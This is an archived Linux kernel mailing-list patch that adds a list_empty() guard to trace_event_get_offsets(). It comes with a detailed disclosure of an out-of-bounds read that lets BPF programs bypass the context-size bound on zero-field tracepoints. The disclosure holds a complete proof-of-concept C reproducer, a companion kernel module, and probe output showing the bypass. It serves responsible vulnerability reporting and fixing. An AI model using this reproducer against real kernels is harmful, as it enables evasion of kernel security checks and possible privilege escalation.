From: Haoran Wang <haoranwangsec@gmail.com>
To: rostedt@goodmis.org, mhiramat@kernel.org
Cc: linux-kernel@vger.kernel.org, linux-trace-kernel@vger.kernel.org,
mathieu.desnoyers@efficios.com, haoranwangsec@gmail.com
Subject: [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list
Date: Thu, 15 Oct 2026 16:51:58 +0800 [thread overview]
Message-ID: <6ad09433.a938ce27.3282d8.5f98@mx.google.com> (raw)
From 715f4d7a8bbc7c8d480cc2d2731025f760476608 Mon Sep 17 00:00:00 2001
From: Haoran Wang <haoranwangsec@gmail.com>
Date: Thu, 15 Oct 2026 15:59:28 +0800
Subject: [PATCH] tracing: guard trace_event_get_offsets() against an empty
fields list
trace_event_get_offsets() unconditionally dereferences the first entry
of the event class fields list via list_first_entry(). When a
tracepoint declares no event-specific fields, the list stays in its
static, self-pointing empty initialization, so list_first_entry()
returns the list head itself. The following tail->offset + tail->size
then reads past struct trace_event_class, and the corrupted result is
used as the BPF context-size bound in __perf_event_set_bpf_prog(),
which lets context-reading BPF probes bypass the bound and be accepted.
Guard the list with list_empty() and return 0 (no accessible event
offset) when empty. This prevents the out-of-bounds read and restores
a bound that rejects context-reading probes with -EACCES.
Reported-by: Haoran Wang <haoranwangsec@gmail.com>
Signed-off-by: Haoran Wang <haoranwangsec@gmail.com>
---
Full analysis and reproducer follow for reference (not part of the commit log):
I'd like to report an issue in kernel/trace/trace_events.c:246 (function
trace_event_get_offsets), found via static analysis of Linux 7.0.11 and
verified against the 7.2.10 source tree.
1. Summary
trace_event_get_offsets() calls list_first_entry() on an event's
class->fields list with no list_empty() guard. For a tracepoint with zero
event-specific fields, class->fields is empty, so list_first_entry()
dereferences the list head itself and reads adjacent memory as
tail->offset/tail->size. The corrupted return value is then used as the
BPF context-size upper bound in __perf_event_set_bpf_prog()
(kernel/events/core.c:11658), allowing context-reading BPF programs to be
attached to a zero-field tracepoint when they should be rejected with
-EACCES. I reproduced this on 7.2.10 kernel: three context-reading BPF
probes were all accepted (rc=0) where a fixed kernel returns EACCES.
2. Vulnerable code
- File: kernel/trace/trace_events.c:246
- Function: trace_event_get_offsets
- Misused API: list_first_entry
```c
// kernel/trace/trace_events.c:236-248
int trace_event_get_offsets(struct trace_event_call *call)
{
struct ftrace_event_field *tail;
struct list_head *head;
head = trace_get_fields(call); // = &call->class->fields
/*
* head->next points to the last field with the largest offset,
* since it was added last by trace_define_field()
*/
tail = list_first_entry(head, struct ftrace_event_field, link); // :246 no empty check
return tail->offset + tail->size; // :247 deref (wild if empty)
}
```
The only runtime caller is __perf_event_set_bpf_prog()
(kernel/events/core.c:11655-11660):
```c
if (is_tracepoint || is_syscall_tp) {
int off = trace_event_get_offsets(event->tp_event); // :11656
if (prog->aux->max_ctx_offset > off) // :11658 bound check
return -EACCES;
}
```
3. Root cause
class->fields is populated by event_define_fields() at event registration,
which iterates the event's fields_array (derived from TP_STRUCT__entry). A
tracepoint with an empty TP_STRUCT__entry has a fields_array containing
only the terminating sentinel (field->type == NULL), so
event_define_fields() never calls trace_define_field() and class->fields
stays at its INIT_LIST_HEAD empty state.
list_first_entry() expands to container_of(head->next, ...). On an empty
list head->next == head, so `tail` aliases the list head itself. Because
ftrace_event_field.link is the first member (offset 0), container_of
performs no offset adjustment: tail == &class->fields. Thus tail->offset
reads *(int*)(class+84) and tail->size reads *(int*)(class+88) -- both
past the end of the 72-byte struct trace_event_class, into adjacent mapped
kernel memory. The returned `off` is therefore corrupted (a kernel-pointer
fragment, large and/or negative as int).
That corrupted `off` is the sole bound for the BPF context-size check at
core.c:11658: `if (prog->aux->max_ctx_offset > off) return -EACCES`. With
off corrupted to a huge/negative value, the comparison is always false, so
a context-reading BPF program is wrongly accepted instead of rejected. On
a fixed kernel (off==0, e.g. from a list_empty()->return 0 path), any
context-reading program (max_ctx_offset >= 1) is correctly rejected with
EACCES.
The same file reads the same fields list safely at :226 with
list_for_each_entry (empty-safe); the :246 use of list_first_entry
(empty-unsafe) is an inconsistent oversight. Even a NULL check would not
help, because on an empty list list_first_entry() returns a non-NULL wild
pointer.
No in-tree tracepoint currently has zero event-specific fields (I scanned
all 1669 tracepoints' format files on a baseline kernel; all have >=1
event-specific field), so this is latent for in-tree events. However, the
TRACE_EVENT macro permits a custom zero-field tracepoint (e.g. an
out-of-tree module, the same way syzkaller registers custom events), which
creates the precondition. The defect itself lives in the unmodified
in-tree trace_event_get_offsets.
4. Affected versions
Present in: Linux 7.0.11. 7.2.10: still present, unfixed. The vulnerable
list_first_entry at trace_events.c:246 and the bound check at core.c:11658
are unchanged. Reproduced on 7.2.10 kernel.
5. Trigger / Preconditions
Pure userspace, no hardware dependency. Requires CONFIG_BPF_SYSCALL,
CONFIG_TRACING, CONFIG_PERF_EVENTS (baseline built-in). Trigger:
perf_event_open(PERF_TYPE_TRACEPOINT, <zero-field-tracepoint-id>,
disabled=1), then BPF_PROG_LOAD a tracepoint program that reads ctx, then
ioctl(perf_fd, PERF_EVENT_IOC_SET_BPF, bpf_fd). The zero-field tracepoint
is created by a legitimate loadable custom-tracepoint module (an empty
TP_STRUCT__entry).
6. Proof of Concept
The reproduction runs on 7.2.10 kernel. A custom-tracepoint module
(zerofield_mod) registers a zero-field tracepoint (empty TP_STRUCT__entry)
and places an inert 64-byte 0x53 sentinel in .ref.data right after the
72-byte event_class global (GCC lays out same-section statics by
descending size), so the kernel's OOB read of class+84/class+88 picks up
0x53535353 instead of zero section padding. The sentinel is inert data --
it does not change kernel control flow or inject a bug; it only makes the
pre-existing OOB read's effect observable (off becomes non-zero instead of
silently zero, the latter being indistinguishable from a fixed kernel
returning 0).
Main userspace reproducer (trace_events_poc.c). Build: gcc -static -O2 -o
trace_events_poc trace_events_poc.c ; usage: ./trace_events_poc
<tracepoint_id> where tracepoint_id is read from
/sys/kernel/tracing/events/zerofield/zerofield_event/id:
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <linux/perf_event.h>
#include <linux/bpf.h>
static long bpf_sys(int cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
/*
* Build a BPF_PROG_TYPE_TRACEPOINT program that reads *(u64 *)(ctx + off) and
* returns 0. The ctx read forces the verifier to record
* prog->aux->max_ctx_offset = off + 8 (verifier.c:6425), which is the value the
* SET_BPF bound check compares against the corrupted `off`.
*/
static int load_ctx_reader_prog(int ctx_off)
{
struct bpf_insn insns[] = {
/* r0 = *(u64 *)(r1 + ctx_off) -- r1 is ctx for tracepoint progs */
{ .code = BPF_LDX | BPF_MEM | BPF_DW,
.dst_reg = BPF_REG_0, .src_reg = BPF_REG_1, .off = (short)ctx_off, .imm = 0 },
/* r0 = 0 */
{ .code = BPF_ALU64 | BPF_MOV | BPF_K, .dst_reg = BPF_REG_0, .imm = 0 },
/* exit */
{ .code = BPF_JMP | BPF_EXIT },
};
char log[8192];
union bpf_attr attr;
memset(&attr, 0, sizeof(attr));
memset(log, 0, sizeof(log));
attr.prog_type = BPF_PROG_TYPE_TRACEPOINT;
attr.insns = (unsigned long)insns;
attr.insn_cnt = sizeof(insns) / sizeof(insns[0]);
attr.license = (unsigned long)"GPL";
attr.log_buf = (unsigned long)log;
attr.log_size = sizeof(log);
attr.log_level = 1;
int fd = (int)bpf_sys(BPF_PROG_LOAD, &attr, sizeof(attr));
if (fd < 0)
fprintf(stderr, " [load off=%d] BPF_PROG_LOAD failed: %s\n",
ctx_off, strerror(errno));
return fd;
}
static int open_tp_event(unsigned long tp_id)
{
struct perf_event_attr pe;
memset(&pe, 0, sizeof(pe));
pe.size = sizeof(pe);
pe.type = PERF_TYPE_TRACEPOINT;
pe.config = tp_id;
pe.sample_type = PERF_SAMPLE_RAW;
pe.sample_period = 1;
pe.disabled = 1;
int fd = (int)syscall(__NR_perf_event_open, &pe, -1, 0, -1, PERF_FLAG_FD_CLOEXEC);
if (fd < 0)
perror("perf_event_open");
return fd;
}
/* Try to attach a ctx-reading BPF prog to the tracepoint. Returns:
* 1 = attach ACCEPTED (off corrupted -> bound bypassed)
* 0 = attach REJECTED with EACCES (off < max_ctx_offset)
* -1 = other error (perf/bpf open or load failure, non-EACCES errno)
*/
static int probe_offset(unsigned long tp_id, int ctx_off)
{
int perf_fd = open_tp_event(tp_id);
if (perf_fd < 0)
return -1;
int bpf_fd = load_ctx_reader_prog(ctx_off);
if (bpf_fd < 0) {
close(perf_fd);
return -1;
}
int rc = ioctl(perf_fd, PERF_EVENT_IOC_SET_BPF, bpf_fd);
int saved_errno = errno;
int max_ctx_offset = ctx_off + 8;
printf(" ctx_off=%-4d (max_ctx_offset=%-5d): SET_BPF rc=%d",
ctx_off, max_ctx_offset, rc);
if (rc == 0)
printf(" -> ACCEPTED\n");
else if (saved_errno == EACCES)
printf(" -> REJECTED (EACCES, off < %d)\n", max_ctx_offset);
else
printf(" -> REJECTED (errno=%d %s)\n", saved_errno, strerror(saved_errno));
close(bpf_fd);
close(perf_fd);
if (rc == 0)
return 1;
if (saved_errno == EACCES)
return 0;
return -1;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: %s <tracepoint_id>\n", argv[0]);
return 1;
}
unsigned long tp_id = strtoul(argv[1], NULL, 0);
printf("[poc] zero-field tracepoint id=%lu\n", tp_id);
printf("[poc] probing BPF ctx-reader attach (pure kernel, no instrumentation)\n");
printf("[poc] on a FIXED kernel, every probe below MUST be REJECTED (EACCES)\n");
printf("[poc] because a zero-field event should yield off==0.\n");
printf("[poc] on the BUGGY kernel, a corrupted (large/negative) off ACCEPTS\n");
printf("[poc] context reads that ought to be rejected -> bound bypass.\n\n");
/*
* Sweep several ctx offsets. The smallest (8 -> max_ctx_offset=16) is the
* most sensitive: it discriminates as long as the corrupted off is not in
* [0,15]. A large offset (4088) being accepted is especially vivid proof.
* Any single ACCEPT among these proves the bug.
*/
static const int offsets[] = { 8, 248, 4088 };
int any_accepted = 0, any_error = 0;
for (unsigned i = 0; i < sizeof(offsets) / sizeof(offsets[0]); i++) {
int r = probe_offset(tp_id, offsets[i]);
if (r == 1)
any_accepted = 1;
else if (r < 0)
any_error = 1;
}
printf("\n[poc] === VERDICT ===\n");
if (any_accepted) {
printf("[poc] BUG TRIGGERED: a context-reading BPF program attached to a\n");
printf("[poc] ZERO-field tracepoint. trace_event_get_offsets() returned a\n");
printf("[poc] corrupted (non-zero) off via list_first_entry on the empty\n");
printf("[poc] class->fields list (trace_events.c:246), bypassing the BPF\n");
printf("[poc] context-size bound check (core.c:11658). On a fixed kernel\n");
printf("[poc] (off==0) all such attaches are rejected with EACCES.\n");
return 0;
}
if (any_error) {
printf("[poc] INCONCLUSIVE: setup errors prevented probing.\n");
return 2;
}
printf("[poc] NOT TRIGGERED via this path: every probe was rejected (EACCES).\n");
printf("[poc] This is the fixed-kernel behavior (off==0). On the buggy kernel\n");
printf("[poc] it means the corrupted off happened to fall in [0,15] (very\n");
printf("[poc] unlikely for arbitrary .data bytes) -- see analysis doc.\n");
return 3;
}
```
The companion kernel module (zerofield_mod.c) is small. Its essential
parts are an inert sentinel and a zero-field tracepoint:
```c
/* inert sentinel: 64 bytes of 0x53 in .ref.data, declared before the trace
* header so it sorts AFTER the 72-byte event_class (GCC descending-size layout).
* The kernel's OOB read of class+84 / class+88 then lands inside this sentinel
* -> off = 0x53535353 + 0x53535353 = 0xA6A6A6A6 (non-zero). */
static unsigned char __refdata __used __aligned(8) oob_sentinel[64] = {
[0 ... 63] = 0x53
};
#define CREATE_TRACE_POINTS
#include "zerofield_tp.h" /* TRACE_EVENT(zerofield_event, TP_PROTO(int dummy),
TP_ARGS(dummy), TP_STRUCT__entry( // empty
), ...) -> empty fields_array -> class->fields stays empty */
```
dmesg after insmod zerofield_mod.ko:
```
zerofield_mod: zero-field tracepoint 'zerofield_event' registered
oob_sentinel: event_class=ffffffffa02011a0 sentinel=ffffffffa02011e8 gap=72
oob_sentinel: class+84=0x53535353 class+88=0x53535353 -> off=-1499027802 (0xa6a6a6a6)
oob_sentinel: off non-zero -> BPF ctx bound bypass observable
```
The dump shows class+48/+56 (fields.next/prev) both equal a02011d0 =
&fields (event_class+0x30), i.e. self-pointing -> empty list, confirming
the precondition. The zerofield_event format file lists only common_*
fields (no event-specific field), corroborating the empty class->fields.
BPF context-size bound bypass probes (on a fixed kernel every probe below
must be REJECTED with EACCES, because a zero-field event should yield
off==0):
```
ctx_off=8 (max_ctx_offset=16 ): SET_BPF rc=0 -> ACCEPTED
ctx_off=248 (max_ctx_offset=256 ): SET_BPF rc=0 -> ACCEPTED
ctx_off=4088 (max_ctx_offset=4096): SET_BPF rc=0 -> ACCEPTED
```
With off corrupted to 0xa6a6a6a6 (as u32 ~2.79e9), none of 16/256/4096
exceeds it, so all three context-reading attaches are accepted. A BPF
program reading ctx+4088 (8 KB) is accepted on a tracepoint that should
permit no context read at all.
7. Impact
Logic/information bug: the BPF context-size bound check is bypassed,
allowing a BPF program attached to a zero-field tracepoint to read
tracepoint context beyond what should be permitted. This is a BPF-verifier
context-bound bypass (a potential privilege-escalation surface). It does
not normally crash, because the wild pointer lands in mapped
class-adjacent memory, which makes it more subtle than a NULL deref and
harder to surface naturally.
kernel/trace/trace_events.c | 2 ++
1 file changed, 2 insertions(+)
diff --git a/kernel/trace/trace_events.c b/kernel/trace/trace_events.c
index 9c62202..8c3810f 100644
--- a/kernel/trace/trace_events.c
+++ b/kernel/trace/trace_events.c
@@ -239,6 +239,8 @@ int trace_event_get_offsets(struct trace_event_call *call)
struct list_head *head;
head = trace_get_fields(call);
+ if (list_empty(head))
+ return 0;
/*
* head->next points to the last field with the largest offset,
* since it was added last by trace_define_field()
--
2.43.0
next reply other threads:[~2026-10-15 8:52 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-15 8:51 Haoran Wang [this message]
2026-10-15 9:14 ` [PATCH] tracing: guard trace_event_get_offsets() against an empty fields list sashiko-bot
2026-10-15 11:57 ` Steven Rostedt
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=6ad09433.a938ce27.3282d8.5f98@mx.google.com \
--to=haoranwangsec@gmail.com \
--cc=linux-kernel@vger.kernel.org \
--cc=linux-trace-kernel@vger.kernel.org \
--cc=mathieu.desnoyers@efficios.com \
--cc=mhiramat@kernel.org \
--cc=rostedt@goodmis.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.